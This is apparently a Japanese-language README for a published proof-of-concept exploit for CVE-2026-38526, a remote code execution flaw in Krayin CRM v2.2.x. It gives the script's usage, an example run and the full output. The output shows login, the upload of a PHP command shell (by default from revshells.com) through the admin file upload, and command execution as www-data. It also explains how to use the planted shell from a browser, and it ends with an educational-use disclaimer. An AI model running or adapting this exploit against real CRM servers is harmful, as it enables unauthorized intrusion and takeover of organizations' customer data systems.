
CVE-2026-38526 エクスプロイト | by infrar3d
infrar3d による
これは、オープンソースの顧客関係管理(CRM)システムである Krayin CRM v2.2.x 向けに設計された、リモートコード実行(RCE)の概念実証(PoC)です。このスクリプトは、CRMの管理インターフェースにおけるファイルアップロードの脆弱性の悪用を自動化し、対象サーバー上でリモートコマンドを実行できるようにします。
python3 CVE-2026-38526.py --help
usage: CVE-2026-38526.py [-h] -rh RHOST -u USERNAME -p PASSWORD -c COMMAND
Krayin CRM RCE Exploit
options:
-h, --help show this help message and exit
-rh, --rhost RHOST Remote host
-u, --username USERNAME
Username or E-mail
-p, --password PASSWORD
Password
-c, --command COMMAND
Command to execute
python3 CVE-2026-38526.py -rh http://krayin.endpoint.site -u '[email protected]' -p 's3cur3-p4ss' -c 'id'
[*] Getting login page...
[+] CSRF Token: 3b438w26pvvr2rhWToWURhAhyGPdeWZm6DRShdUd
[*] Attempting login as: [email protected]...
[+] Redirect: http://krayin.endpoint.site/admin/dashboard
[+] Login successful!
[+] Session established successfully
[+] XSRF Token: eyJpdiI6ImVDY3h5c2dRdk5JS1NXaVdJaDJGdVE9PSIsInZhbH...
[*] Getting fresh CSRF token for upload...
[+] Found _token in modal
[+] Upload CSRF Token: ZQwH7QLajl5wZdNAOSX8Sk0v7z9spW1VYrw4VESW
[*] Uploading shell...
[+] Upload response status: 200
[+] File uploaded successfully!
[+] Location: http://krayin.endpoint.site/storage/tinymce/a9e2d9a51d41723acad27dc2c7ec861d.php
[*] Executing command: id
[+] Command output:
============================================================
uid=33(www-data) gid=33(www-data) groups=33(www-data)
============================================================
このスクリプトは、デフォルトで revshells.com から PHP cmd シェルをアップロードします。
悪用後は、ブラウザでそのシェルを開き、Webページからコマンドを送信できます。
このソフトウェアおよび概念実証コードは、教育および研究目的のみで提供されています。
適用されるすべての法律を遵守する責任はあなたにあります。倫理的かつ責任を持って使用してください。